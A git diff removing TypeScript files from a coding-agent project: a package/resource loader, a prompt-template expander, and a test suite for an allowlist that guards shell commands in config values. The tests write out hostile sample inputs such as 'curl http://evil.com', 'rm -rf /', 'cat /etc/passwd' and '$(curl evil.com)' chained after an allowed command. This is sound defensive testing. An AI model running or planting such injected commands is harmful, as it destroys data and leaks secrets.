"pi-extensions", private: true }; - writeFileSync(packageJsonPath, JSON.stringify(pkgJson, null, 2), "utf-8"); - } - } - - private ensureGitIgnore(dir: string): void { - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - const ignorePath = join(dir, ".gitignore"); - if (!existsSync(ignorePath)) { - writeFileSync(ignorePath, "*\n!.gitignore\n", "utf-8"); - } - } - - private getNpmInstallRoot(scope: SourceScope, temporary: boolean): string { - if (temporary) { - return this.getTemporaryDir("npm"); - } - if (scope === "project") { - return join(this.cwd, CONFIG_DIR_NAME, "npm"); - } - return join(this.getGlobalPackageRoot(), ".."); - } - - private getGlobalNpmRoot(): string { - if (this.globalNpmRoot) { - return this.globalNpmRoot; - } - const configuredRoot = process.env.PI_GLOBAL_PACKAGE_ROOT?.trim(); - if (configuredRoot) { - this.globalNpmRoot = configuredRoot; - return this.globalNpmRoot; - } - const discoveredRoot = this.discoverGlobalPackageRoot(); - if (discoveredRoot) { - this.globalNpmRoot = discoveredRoot; - return this.globalNpmRoot; - } - this.globalNpmRoot = join(homedir(), ".npm-global", "lib", "node_modules"); - return this.globalNpmRoot; - } - - private getGlobalPackageRoot(): string { - return this.getGlobalNpmRoot(); - } - - private discoverGlobalPackageRoot(): string | undefined { - const bunPath = this.getExecutablePath("bun"); - if (bunPath) { - const bunRoot = join( - dirname(dirname(bunPath)), - "install", - "global", - "node_modules", - ); - if (existsSync(bunRoot)) { - return bunRoot; - } - - const bunReportedRoot = this.tryRunCommandSync("bun", ["pm", "bin"]); - if (bunReportedRoot) { - const normalized = bunReportedRoot.trim(); - if (normalized) { - const candidate = normalized.endsWith("node_modules") - ? normalized - : join(normalized, "..", "node_modules"); - if (existsSync(candidate)) { - return candidate; - } - } - } - } - - const npmRoot = this.tryRunCommandSync("npm", ["root", "-g"]); - if (npmRoot) { - const normalized = npmRoot.trim(); - if (normalized) { - return normalized; - } - } - - return undefined; - } - - private getNpmInstallPath(source: NpmSource, scope: SourceScope): string { - if (scope === "temporary") { - return join(this.getTemporaryDir("npm"), "node_modules", source.name); - } - if (scope === "project") { - return join( - this.cwd, - CONFIG_DIR_NAME, - "npm", - "node_modules", - source.name, - ); - } - return join(this.getGlobalNpmRoot(), source.name); - } - - private getGitInstallPath(source: GitSource, scope: SourceScope): string { - if (scope === "temporary") { - return this.getTemporaryDir(`git-${source.host}`, source.path); - } - if (scope === "project") { - return join(this.cwd, CONFIG_DIR_NAME, "git", source.host, source.path); - } - return join(this.agentDir, "git", source.host, source.path); - } - - private getGitInstallRoot(scope: SourceScope): string | undefined { - if (scope === "temporary") { - return undefined; - } - if (scope === "project") { - return join(this.cwd, CONFIG_DIR_NAME, "git"); - } - return join(this.agentDir, "git"); - } - - private getTemporaryDir(prefix: string, suffix?: string): string { - const hash = createHash("sha256") - .update(`${prefix}-${suffix ?? ""}`) - .digest("hex") - .slice(0, 8); - return join(tmpdir(), "pi-extensions", prefix, hash, suffix ?? ""); - } - - private getBaseDirForScope(scope: SourceScope): string { - if (scope === "project") { - return join(this.cwd, CONFIG_DIR_NAME); - } - if (scope === "user") { - return this.agentDir; - } - return this.cwd; - } - - private resolvePath(input: string): string { - const trimmed = input.trim(); - if (trimmed === "~") return homedir(); - if (trimmed.startsWith("~/")) return join(homedir(), trimmed.slice(2)); - if (trimmed.startsWith("~")) return join(homedir(), trimmed.slice(1)); - return resolve(this.cwd, trimmed); - } - - private resolvePathFromBase(input: string, baseDir: string): string { - const trimmed = input.trim(); - if (trimmed === "~") return homedir(); - if (trimmed.startsWith("~/")) return join(homedir(), trimmed.slice(2)); - if (trimmed.startsWith("~")) return join(homedir(), trimmed.slice(1)); - return resolve(baseDir, trimmed); - } - - private collectPackageResources( - packageRoot: string, - accumulator: ResourceAccumulator, - filter: PackageFilter | undefined, - metadata: PathMetadata, - ): boolean { - if (filter) { - for (const resourceType of RESOURCE_TYPES) { - const patterns = filter[resourceType as keyof PackageFilter]; - const target = this.getTargetMap(accumulator, resourceType); - if (patterns !== undefined) { - this.applyPackageFilter( - packageRoot, - patterns, - resourceType, - target, - metadata, - ); - } else { - this.collectDefaultResources( - packageRoot, - resourceType, - target, - metadata, - ); - } - } - return true; - } - - const manifest = this.readPiManifest(packageRoot); - if (manifest) { - for (const resourceType of RESOURCE_TYPES) { - const entries = manifest[resourceType as keyof PiManifest]; - this.addManifestEntries( - entries, - packageRoot, - resourceType, - this.getTargetMap(accumulator, resourceType), - metadata, - ); - } - return true; - } - - let hasAnyDir = false; - for (const resourceType of RESOURCE_TYPES) { - const dir = join(packageRoot, resourceType); - if (existsSync(dir)) { - // Collect all files from the directory (all enabled by default) - const files = collectResourceFiles(dir, resourceType); - for (const f of files) { - this.addResource( - this.getTargetMap(accumulator, resourceType), - f, - metadata, - true, - ); - } - hasAnyDir = true; - } - } - return hasAnyDir; - } - - private collectDefaultResources( - packageRoot: string, - resourceType: ResourceType, - target: Map, - metadata: PathMetadata, - ): void { - const manifest = this.readPiManifest(packageRoot); - const entries = manifest?.[resourceType as keyof PiManifest]; - if (entries) { - this.addManifestEntries( - entries, - packageRoot, - resourceType, - target, - metadata, - ); - return; - } - const dir = join(packageRoot, resourceType); - if (existsSync(dir)) { - // Collect all files from the directory (all enabled by default) - const files = collectResourceFiles(dir, resourceType); - for (const f of files) { - this.addResource(target, f, metadata, true); - } - } - } - - private applyPackageFilter( - packageRoot: string, - userPatterns: string[], - resourceType: ResourceType, - target: Map, - metadata: PathMetadata, - ): void { - const { allFiles } = this.collectManifestFiles(packageRoot, resourceType); - - if (userPatterns.length === 0) { - // Empty array explicitly disables all resources of this type - for (const f of allFiles) { - this.addResource(target, f, metadata, false); - } - return; - } - - // Apply user patterns - const enabledByUser = applyPatterns(allFiles, userPatterns, packageRoot); - - for (const f of allFiles) { - const enabled = enabledByUser.has(f); - this.addResource(target, f, metadata, enabled); - } - } - - /** - * Collect all files from a package for a resource type, applying manifest patterns. - * Returns { allFiles, enabledByManifest } where enabledByManifest is the set of files - * that pass the manifest's own patterns. - */ - private collectManifestFiles( - packageRoot: string, - resourceType: ResourceType, - ): { allFiles: string[]; enabledByManifest: Set } { - const manifest = this.readPiManifest(packageRoot); - const entries = manifest?.[resourceType as keyof PiManifest]; - if (entries && entries.length > 0) { - const allFiles = this.collectFilesFromManifestEntries( - entries, - packageRoot, - resourceType, - ); - const manifestPatterns = entries.filter(isPattern); - const enabledByManifest = - manifestPatterns.length > 0 - ? applyPatterns(allFiles, manifestPatterns, packageRoot) - : new Set(allFiles); - return { allFiles: Array.from(enabledByManifest), enabledByManifest }; - } - - const conventionDir = join(packageRoot, resourceType); - if (!existsSync(conventionDir)) { - return { allFiles: [], enabledByManifest: new Set() }; - } - const allFiles = collectResourceFiles(conventionDir, resourceType); - return { allFiles, enabledByManifest: new Set(allFiles) }; - } - - private readPiManifest(packageRoot: string): PiManifest | null { - const packageJsonPath = join(packageRoot, "package.json"); - if (!existsSync(packageJsonPath)) { - return null; - } - - try { - const content = readFileSync(packageJsonPath, "utf-8"); - const pkg = JSON.parse(content) as { pi?: PiManifest }; - return pkg.pi ?? null; - } catch { - return null; - } - } - - private addManifestEntries( - entries: string[] | undefined, - root: string, - resourceType: ResourceType, - target: Map, - metadata: PathMetadata, - ): void { - if (!entries) return; - - const allFiles = this.collectFilesFromManifestEntries( - entries, - root, - resourceType, - ); - const patterns = entries.filter(isPattern); - const enabledPaths = applyPatterns(allFiles, patterns, root); - - for (const f of allFiles) { - if (enabledPaths.has(f)) { - this.addResource(target, f, metadata, true); - } - } - } - - private collectFilesFromManifestEntries( - entries: string[], - root: string, - resourceType: ResourceType, - ): string[] { - const plain = entries.filter((entry) => !isPattern(entry)); - const resolved = plain.map((entry) => resolve(root, entry)); - return this.collectFilesFromPaths(resolved, resourceType); - } - - private resolveLocalEntries( - entries: string[], - resourceType: ResourceType, - target: Map, - metadata: PathMetadata, - baseDir: string, - ): void { - if (entries.length === 0) return; - - // Collect all files from plain entries (non-pattern entries) - const { plain, patterns } = splitPatterns(entries); - const resolvedPlain = plain.map((p) => - this.resolvePathFromBase(p, baseDir), - ); - const allFiles = this.collectFilesFromPaths(resolvedPlain, resourceType); - - // Determine which files are enabled based on patterns - const enabledPaths = applyPatterns(allFiles, patterns, baseDir); - - // Add all files with their enabled state - for (const f of allFiles) { - this.addResource(target, f, metadata, enabledPaths.has(f)); - } - } - - /** - * Batch-discover which resource subdirectories exist under a parent dir. - * A single readdirSync replaces 4 separate existsSync probes, reducing - * syscalls during startup. - */ - private discoverResourceSubdirs(baseDir: string): Set { - try { - const entries = readdirSync(baseDir, { withFileTypes: true }); - const names = new Set(); - for (const e of entries) { - if (e.isDirectory() || e.isSymbolicLink()) { - names.add(e.name); - } - } - return names; - } catch { - return new Set(); - } - } - - private addAutoDiscoveredResources( - accumulator: ResourceAccumulator, - globalSettings: ReturnType, - projectSettings: ReturnType, - globalBaseDir: string, - projectBaseDir: string, - ): void { - const userMetadata: PathMetadata = { - source: "auto", - scope: "user", - origin: "top-level", - baseDir: globalBaseDir, - }; - const projectMetadata: PathMetadata = { - source: "auto", - scope: "project", - origin: "top-level", - baseDir: projectBaseDir, - }; - - const userOverrides = { - extensions: (globalSettings.extensions ?? []) as string[], - skills: (globalSettings.skills ?? []) as string[], - prompts: (globalSettings.prompts ?? []) as string[], - themes: (globalSettings.themes ?? []) as string[], - }; - const projectOverrides = { - extensions: (projectSettings.extensions ?? []) as string[], - skills: (projectSettings.skills ?? []) as string[], - prompts: (projectSettings.prompts ?? []) as string[], - themes: (projectSettings.themes ?? []) as string[], - }; - - // Batch directory discovery: one readdir of each parent replaces up to - // 4 separate existsSync calls per base directory, cutting syscalls. - const projectSubdirs = this.discoverResourceSubdirs(projectBaseDir); - const userSubdirs = this.discoverResourceSubdirs(globalBaseDir); - - const userDirs = { - extensions: join(globalBaseDir, "extensions"), - skills: join(globalBaseDir, "skills"), - prompts: join(globalBaseDir, "prompts"), - themes: join(globalBaseDir, "themes"), - }; - const projectDirs = { - extensions: join(projectBaseDir, "extensions"), - skills: join(projectBaseDir, "skills"), - prompts: join(projectBaseDir, "prompts"), - themes: join(projectBaseDir, "themes"), - }; - const userAgentsSkillsDir = join(homedir(), ".agents", "skills"); - const projectAgentsSkillDirs = collectAncestorAgentsSkillDirs( - this.cwd, - ).filter((dir) => resolve(dir) !== resolve(userAgentsSkillsDir)); - - const addResources = ( - resourceType: ResourceType, - paths: string[], - metadata: PathMetadata, - overrides: string[], - baseDir: string, - ) => { - const target = this.getTargetMap(accumulator, resourceType); - for (const path of paths) { - const enabled = isEnabledByOverrides(path, overrides, baseDir); - this.addResource(target, path, metadata, enabled); - } - }; - - // Project resources — skip collect calls when the parent readdir shows - // the subdirectory doesn't exist (avoids redundant existsSync + readdirSync). - if (projectSubdirs.has("extensions")) { - addResources( - "extensions", - collectAutoExtensionEntries(projectDirs.extensions), - projectMetadata, - projectOverrides.extensions, - projectBaseDir, - ); - } - { - const skillEntries = [ - ...(projectSubdirs.has("skills") - ? collectAutoSkillEntries(projectDirs.skills) - : []), - ...projectAgentsSkillDirs.flatMap((dir) => - collectAutoSkillEntries(dir), - ), - ]; - if (skillEntries.length > 0) { - addResources( - "skills", - skillEntries, - projectMetadata, - projectOverrides.skills, - projectBaseDir, - ); - } - } - if (projectSubdirs.has("prompts")) { - addResources( - "prompts", - collectAutoPromptEntries(projectDirs.prompts), - projectMetadata, - projectOverrides.prompts, - projectBaseDir, - ); - } - if (projectSubdirs.has("themes")) { - addResources( - "themes", - collectAutoThemeEntries(projectDirs.themes), - projectMetadata, - projectOverrides.themes, - projectBaseDir, - ); - } - - // User (global) resources - if (userSubdirs.has("extensions")) { - addResources( - "extensions", - collectAutoExtensionEntries(userDirs.extensions), - userMetadata, - userOverrides.extensions, - globalBaseDir, - ); - } - { - // Ecosystem skills (~/.agents/skills/) take priority over legacy config-dir skills. - // Skip legacy dir entirely when migration has completed (marker file present). - const legacySkillsMigrated = - resolve(userDirs.skills) !== resolve(userAgentsSkillsDir) && - existsSync(join(userDirs.skills, ".migrated-to-agents")); - const legacyUserSkillEntries = - !legacySkillsMigrated && userSubdirs.has("skills") - ? collectAutoSkillEntries(userDirs.skills) - : []; - const skillEntries = [ - ...collectAutoSkillEntries(userAgentsSkillsDir), - ...legacyUserSkillEntries, - ]; - if (skillEntries.length > 0) { - addResources( - "skills", - skillEntries, - userMetadata, - userOverrides.skills, - globalBaseDir, - ); - } - } - if (userSubdirs.has("prompts")) { - addResources( - "prompts", - collectAutoPromptEntries(userDirs.prompts), - userMetadata, - userOverrides.prompts, - globalBaseDir, - ); - } - if (userSubdirs.has("themes")) { - addResources( - "themes", - collectAutoThemeEntries(userDirs.themes), - userMetadata, - userOverrides.themes, - globalBaseDir, - ); - } - } - - private collectFilesFromPaths( - paths: string[], - resourceType: ResourceType, - ): string[] { - const files: string[] = []; - for (const p of paths) { - if (!existsSync(p)) continue; - - try { - const stats = statSync(p); - if (stats.isFile()) { - files.push(p); - } else if (stats.isDirectory()) { - files.push(...collectResourceFiles(p, resourceType)); - } - } catch { - // Ignore errors - } - } - return files; - } - - private getTargetMap( - accumulator: ResourceAccumulator, - resourceType: ResourceType, - ): Map { - switch (resourceType) { - case "extensions": - return accumulator.extensions; - case "skills": - return accumulator.skills; - case "prompts": - return accumulator.prompts; - case "themes": - return accumulator.themes; - default: - throw new Error(`Unknown resource type: ${resourceType}`); - } - } - - private addResource( - map: Map, - path: string, - metadata: PathMetadata, - enabled: boolean, - ): void { - if (!path) return; - if (!map.has(path)) { - map.set(path, { metadata, enabled }); - } - } - - private createAccumulator(): ResourceAccumulator { - return { - extensions: new Map(), - skills: new Map(), - prompts: new Map(), - themes: new Map(), - }; - } - - private toResolvedPaths(accumulator: ResourceAccumulator): ResolvedPaths { - const toResolved = ( - entries: Map, - ): ResolvedResource[] => { - return Array.from(entries.entries()).map( - ([path, { metadata, enabled }]) => ({ - path, - enabled, - metadata, - }), - ); - }; - - return { - extensions: toResolved(accumulator.extensions), - skills: toResolved(accumulator.skills), - prompts: toResolved(accumulator.prompts), - themes: toResolved(accumulator.themes), - }; - } - - private runCommand( - command: string, - args: string[], - options?: { cwd?: string }, - ): Promise { - return new Promise((resolvePromise, reject) => { - const child = spawn(command, args, { - cwd: options?.cwd, - stdio: "inherit", - shell: process.platform === "win32", - }); - child.on("error", reject); - child.on("exit", (code) => { - if (code === 0) { - resolvePromise(); - } else { - reject( - new Error(`${command} ${args.join(" ")} failed with code ${code}`), - ); - } - }); - }); - } - - private runCommandSync(command: string, args: string[]): string { - const result = spawnSync(command, args, { - stdio: ["ignore", "pipe", "pipe"], - encoding: "utf-8", - shell: process.platform === "win32", - }); - if (result.status !== 0) { - throw new Error( - `Failed to run ${command} ${args.join(" ")}: ${result.stderr || result.stdout}`, - ); - } - return (result.stdout || result.stderr || "").trim(); - } - - private tryRunCommandSync( - command: string, - args: string[], - ): string | undefined { - try { - return this.runCommandSync(command, args); - } catch { - return undefined; - } - } - - private getExecutablePath(command: string): string | undefined { - const pathValue = process.env.PATH; - if (!pathValue) return undefined; - - const pathExt = - process.platform === "win32" - ? (process.env.PATHEXT?.split(";").filter(Boolean) ?? [ - ".EXE", - ".CMD", - ".BAT", - ".COM", - ]) - : [""]; - const separator = process.platform === "win32" ? ";" : ":"; - - for (const entry of pathValue.split(separator)) { - if (!entry) continue; - for (const ext of pathExt) { - const candidate = join(entry, `${command}${ext}`); - if (existsSync(candidate)) { - return candidate; - } - } - } - - return undefined; - } -} diff --git a/packages/pi-coding-agent/src/core/prompt-templates.ts b/packages/pi-coding-agent/src/core/prompt-templates.ts deleted file mode 100644 index 52a8359d4..000000000 --- a/packages/pi-coding-agent/src/core/prompt-templates.ts +++ /dev/null @@ -1,340 +0,0 @@ -import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; -import { homedir } from "node:os"; -import { basename, isAbsolute, join, resolve, sep } from "node:path"; -import { CONFIG_DIR_NAME, getPromptsDir } from "../config.js"; -import { parseFrontmatter } from "../utils/frontmatter.js"; -import { canonicalizePath } from "./tools/path-utils.js"; - -/** - * Represents a prompt template loaded from a markdown file - */ -export interface PromptTemplate { - name: string; - description: string; - content: string; - source: string; // "user", "project", or "path" - filePath: string; // Absolute path to the template file -} - -/** - * Parse command arguments respecting quoted strings (bash-style) - * Returns array of arguments - */ -function parseCommandArgs(argsString: string): string[] { - const args: string[] = []; - let current = ""; - let inQuote: string | null = null; - - for (let i = 0; i < argsString.length; i++) { - const char = argsString[i]; - - if (inQuote) { - if (char === inQuote) { - inQuote = null; - } else { - current += char; - } - } else if (char === '"' || char === "'") { - inQuote = char; - } else if (char === " " || char === "\t") { - if (current) { - args.push(current); - current = ""; - } - } else { - current += char; - } - } - - if (current) { - args.push(current); - } - - return args; -} - -/** - * Substitute argument placeholders in template content - * Supports: - * - $1, $2, ... for positional args - * - $@ and $ARGUMENTS for all args - * - ${@:N} for args from Nth onwards (bash-style slicing) - * - ${@:N:L} for L args starting from Nth - * - * Note: Replacement happens on the template string only. Argument values - * containing patterns like $1, $@, or $ARGUMENTS are NOT recursively substituted. - */ -function substituteArgs(content: string, args: string[]): string { - let result = content; - - // Replace $1, $2, etc. with positional args FIRST (before wildcards) - // This prevents wildcard replacement values containing $ patterns from being re-substituted - result = result.replace(/\$(\d+)/g, (_, num) => { - const index = parseInt(num, 10) - 1; - return args[index] ?? ""; - }); - - // Replace ${@:start} or ${@:start:length} with sliced args (bash-style) - // Process BEFORE simple $@ to avoid conflicts - result = result.replace( - /\$\{@:(\d+)(?::(\d+))?\}/g, - (_, startStr, lengthStr) => { - let start = parseInt(startStr, 10) - 1; // Convert to 0-indexed (user provides 1-indexed) - // Treat 0 as 1 (bash convention: args start at 1) - if (start < 0) start = 0; - - if (lengthStr) { - const length = parseInt(lengthStr, 10); - return args.slice(start, start + length).join(" "); - } - return args.slice(start).join(" "); - }, - ); - - // Pre-compute all args joined (optimization) - const allArgs = args.join(" "); - - // Replace $ARGUMENTS with all args joined (new syntax, aligns with Claude, Codex, OpenCode) - result = result.replace(/\$ARGUMENTS/g, allArgs); - - // Replace $@ with all args joined (existing syntax) - result = result.replace(/\$@/g, allArgs); - - return result; -} - -function loadTemplateFromFile( - filePath: string, - source: string, - sourceLabel: string, -): PromptTemplate | null { - try { - const rawContent = readFileSync(filePath, "utf-8"); - const { frontmatter, body } = - parseFrontmatter>(rawContent); - - const name = basename(filePath).replace(/\.md$/, ""); - - // Get description from frontmatter or first non-empty line - let description = frontmatter.description || ""; - if (!description) { - const firstLine = body.split("\n").find((line) => line.trim()); - if (firstLine) { - // Truncate if too long - description = firstLine.slice(0, 60); - if (firstLine.length > 60) description += "..."; - } - } - - // Append source to description - description = description ? `${description} ${sourceLabel}` : sourceLabel; - - return { - name, - description, - content: body, - source, - filePath, - }; - } catch { - return null; - } -} - -/** - * Scan a directory for .md files (non-recursive) and load them as prompt templates. - */ -function loadTemplatesFromDir( - dir: string, - source: string, - sourceLabel: string, -): PromptTemplate[] { - const templates: PromptTemplate[] = []; - - if (!existsSync(dir)) { - return templates; - } - - try { - const entries = readdirSync(dir, { withFileTypes: true }); - - for (const entry of entries) { - const fullPath = join(dir, entry.name); - - // For symlinks, check if they point to a file - let isFile = entry.isFile(); - if (entry.isSymbolicLink()) { - try { - const stats = statSync(fullPath); - isFile = stats.isFile(); - } catch { - // Broken symlink, skip it - continue; - } - } - - if (isFile && entry.name.endsWith(".md")) { - const template = loadTemplateFromFile(fullPath, source, sourceLabel); - if (template) { - templates.push(template); - } - } - } - } catch { - return templates; - } - - return templates; -} - -export interface LoadPromptTemplatesOptions { - /** Working directory for project-local templates. Default: process.cwd() */ - cwd?: string; - /** Agent config directory for global templates. Default: from getPromptsDir() */ - agentDir?: string; - /** Explicit prompt template paths (files or directories) */ - promptPaths?: string[]; - /** Include default prompt directories. Default: true */ - includeDefaults?: boolean; -} - -function normalizePath(input: string): string { - const trimmed = input.trim(); - if (trimmed === "~") return homedir(); - if (trimmed.startsWith("~/")) return join(homedir(), trimmed.slice(2)); - if (trimmed.startsWith("~")) return join(homedir(), trimmed.slice(1)); - return trimmed; -} - -function resolvePromptPath(p: string, cwd: string): string { - const normalized = normalizePath(p); - return isAbsolute(normalized) ? normalized : resolve(cwd, normalized); -} - -function buildPathSourceLabel(p: string): string { - const base = basename(p).replace(/\.md$/, "") || "path"; - return `(path:${base})`; -} - -/** - * Load all prompt templates from: - * 1. Global: agentDir/prompts/ - * 2. Project: cwd/{CONFIG_DIR_NAME}/prompts/ - * 3. Explicit prompt paths - */ -export function loadPromptTemplates( - options: LoadPromptTemplatesOptions = {}, -): PromptTemplate[] { - const resolvedCwd = options.cwd ?? process.cwd(); - const resolvedAgentDir = options.agentDir ?? getPromptsDir(); - const promptPaths = options.promptPaths ?? []; - const includeDefaults = options.includeDefaults ?? true; - - const templates: PromptTemplate[] = []; - - if (includeDefaults) { - // 1. Load global templates from agentDir/prompts/ - // Note: if agentDir is provided, it should be the agent dir, not the prompts dir - const globalPromptsDir = options.agentDir - ? join(options.agentDir, "prompts") - : resolvedAgentDir; - templates.push(...loadTemplatesFromDir(globalPromptsDir, "user", "(user)")); - - // 2. Load project templates from cwd/{CONFIG_DIR_NAME}/prompts/ - const projectPromptsDir = resolve(resolvedCwd, CONFIG_DIR_NAME, "prompts"); - templates.push( - ...loadTemplatesFromDir(projectPromptsDir, "project", "(project)"), - ); - } - - const userPromptsDir = options.agentDir - ? join(options.agentDir, "prompts") - : resolvedAgentDir; - const projectPromptsDir = resolve(resolvedCwd, CONFIG_DIR_NAME, "prompts"); - - const isUnderPath = (target: string, root: string): boolean => { - const normalizedRoot = resolve(root); - if (target === normalizedRoot) { - return true; - } - const prefix = normalizedRoot.endsWith(sep) - ? normalizedRoot - : `${normalizedRoot}${sep}`; - return target.startsWith(prefix); - }; - - const getSourceInfo = ( - resolvedPath: string, - ): { source: string; label: string } => { - if (!includeDefaults) { - if (isUnderPath(resolvedPath, userPromptsDir)) { - return { source: "user", label: "(user)" }; - } - if (isUnderPath(resolvedPath, projectPromptsDir)) { - return { source: "project", label: "(project)" }; - } - } - return { source: "path", label: buildPathSourceLabel(resolvedPath) }; - }; - - // 3. Load explicit prompt paths - const seenPaths = new Set(); - for (const rawPath of promptPaths) { - const resolvedPath = resolvePromptPath(rawPath, resolvedCwd); - if (!existsSync(resolvedPath)) { - continue; - } - - try { - const stats = statSync(resolvedPath); - const { source, label } = getSourceInfo(resolvedPath); - if (stats.isDirectory()) { - const dirTemplates = loadTemplatesFromDir(resolvedPath, source, label); - for (const template of dirTemplates) { - const realPath = canonicalizePath(template.filePath); - if (!seenPaths.has(realPath)) { - seenPaths.add(realPath); - templates.push(template); - } - } - } else if (stats.isFile() && resolvedPath.endsWith(".md")) { - const realPath = canonicalizePath(resolvedPath); - if (!seenPaths.has(realPath)) { - seenPaths.add(realPath); - const template = loadTemplateFromFile(resolvedPath, source, label); - if (template) { - templates.push(template); - } - } - } - } catch { - // Ignore read failures - } - } - - return templates; -} - -/** - * Expand a prompt template if it matches a template name. - * Returns the expanded content or the original text if not a template. - */ -export function expandPromptTemplate( - text: string, - templates: PromptTemplate[], -): string { - if (!text.startsWith("/")) return text; - - const spaceIndex = text.indexOf(" "); - const templateName = - spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); - const argsString = spaceIndex === -1 ? "" : text.slice(spaceIndex + 1); - - const template = templates.find((t) => t.name === templateName); - if (template) { - const args = parseCommandArgs(argsString); - return substituteArgs(template.content, args); - } - - return text; -} diff --git a/packages/pi-coding-agent/src/core/resolve-config-value.test.ts b/packages/pi-coding-agent/src/core/resolve-config-value.test.ts deleted file mode 100644 index 4028d63ce..000000000 --- a/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +++ /dev/null @@ -1,350 +0,0 @@ -import assert from "node:assert/strict"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { - clearConfigValueCache, - getAllowedCommandPrefixes, - resolveConfigValue, - SAFE_COMMAND_PREFIXES, - setAllowedCommandPrefixes, -} from "./resolve-config-value.js"; - -beforeEach(() => { - clearConfigValueCache(); -}); - -describe("SAFE_COMMAND_PREFIXES", () => { - it("exports the allowlist array", () => { - assert.ok(Array.isArray(SAFE_COMMAND_PREFIXES)); - assert.ok(SAFE_COMMAND_PREFIXES.length > 0); - }); - - it("includes expected credential tools", () => { - assert.ok(SAFE_COMMAND_PREFIXES.includes("pass")); - assert.ok(SAFE_COMMAND_PREFIXES.includes("op")); - assert.ok(SAFE_COMMAND_PREFIXES.includes("aws")); - }); -}); - -describe("resolveConfigValue — non-command values", () => { - it("returns the literal value when it does not match an env var", () => { - const result = resolveConfigValue("my-literal-key"); - assert.equal(result, "my-literal-key"); - }); - - it("returns the env var value when the config matches an env var name", () => { - process.env["TEST_RESOLVE_CONFIG_VAR"] = "env-value"; - const result = resolveConfigValue("TEST_RESOLVE_CONFIG_VAR"); - assert.equal(result, "env-value"); - delete process.env["TEST_RESOLVE_CONFIG_VAR"]; - }); -}); - -describe("resolveConfigValue — command allowlist enforcement", () => { - it("blocks a disallowed command and returns undefined", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - const result = resolveConfigValue("!curl http://evil.com"); - assert.equal(result, undefined); - assert.ok(stderrChunks.some((line) => line.includes("curl"))); - } finally { - process.stderr.write = originalWrite; - } - }); - - it("blocks another disallowed command (rm)", () => { - const result = resolveConfigValue("!rm -rf /tmp/test"); - assert.equal(result, undefined); - }); - - it("blocks a disallowed command with no arguments", () => { - const result = resolveConfigValue("!wget"); - assert.equal(result, undefined); - }); - - it("allows a safe command prefix to proceed to execution", () => { - // `pass` is unlikely to be installed in CI, so we just verify it does NOT - // return undefined due to the allowlist check — it may return undefined if - // the binary is absent, but the block path must not be taken. - // We confirm by checking no "Blocked" message appears on stderr. - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - resolveConfigValue("!pass show nonexistent-entry-for-test"); - const blocked = stderrChunks.some((line) => - line.includes("Blocked disallowed command"), - ); - assert.equal( - blocked, - false, - "pass should not be blocked by the allowlist", - ); - } finally { - process.stderr.write = originalWrite; - } - }); -}); - -describe("resolveConfigValue — shell operator bypass prevention", () => { - it("blocks semicolon chaining (pass; malicious)", () => { - const result = resolveConfigValue("!pass show key; curl http://evil.com"); - assert.equal(result, undefined); - }); - - it("blocks pipe operator (pass | evil)", () => { - const result = resolveConfigValue("!pass show key | cat /etc/passwd"); - assert.equal(result, undefined); - }); - - it("blocks && chaining (pass && evil)", () => { - const result = resolveConfigValue("!pass show key && rm -rf /"); - assert.equal(result, undefined); - }); - - it("blocks || chaining (pass || evil)", () => { - const result = resolveConfigValue("!pass show key || curl evil.com"); - assert.equal(result, undefined); - }); - - it("blocks backtick subshell (pass `evil`)", () => { - const result = resolveConfigValue("!pass show `curl evil.com`"); - assert.equal(result, undefined); - }); - - it("blocks $() subshell (pass $(evil))", () => { - const result = resolveConfigValue("!pass show $(curl evil.com)"); - assert.equal(result, undefined); - }); - - it("blocks output redirection (pass > file)", () => { - const result = resolveConfigValue("!pass show key > /tmp/stolen"); - assert.equal(result, undefined); - }); - - it("blocks input redirection (pass < file)", () => { - const result = resolveConfigValue("!pass show key < /dev/null"); - assert.equal(result, undefined); - }); - - it("writes stderr warning when shell operators detected", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - resolveConfigValue("!pass show key; curl evil.com"); - assert.ok(stderrChunks.some((line) => line.includes("shell operators"))); - } finally { - process.stderr.write = originalWrite; - } - }); -}); - -describe("resolveConfigValue — caching", () => { - it("caches the result of a blocked command", () => { - const callCount = { n: 0 }; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - _chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - callCount.n++; - return true; - }; - try { - resolveConfigValue("!curl http://evil.com"); - resolveConfigValue("!curl http://evil.com"); - // The block warning should only fire once; the second call hits the cache - // before reaching the allowlist check, so stderr count is 1. - assert.equal(callCount.n, 1); - } finally { - process.stderr.write = originalWrite; - } - }); - - it("clearConfigValueCache resets cached entries", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - resolveConfigValue("!curl http://evil.com"); - assert.equal(stderrChunks.length, 1); - - clearConfigValueCache(); - - resolveConfigValue("!curl http://evil.com"); - assert.equal(stderrChunks.length, 2); - } finally { - process.stderr.write = originalWrite; - } - }); -}); - -describe("REGRESSION #666: non-default credential tool blocked with no override", () => { - afterEach(() => { - setAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES); - clearConfigValueCache(); - }); - - it("sops is blocked by default, then unblocked by setAllowedCommandPrefixes", () => { - const stderrChunks: string[] = []; - const originalWrite = process.stderr.write.bind(process.stderr); - process.stderr.write = ( - chunk: string | Uint8Array, - ..._args: unknown[] - ) => { - stderrChunks.push(chunk.toString()); - return true; - }; - try { - // Bug: sops is not in SAFE_COMMAND_PREFIXES, so it's blocked - const result = resolveConfigValue( - "!sops decrypt --output-type json secrets.enc.json", - ); - assert.equal( - result, - undefined, - "sops is blocked by the hardcoded 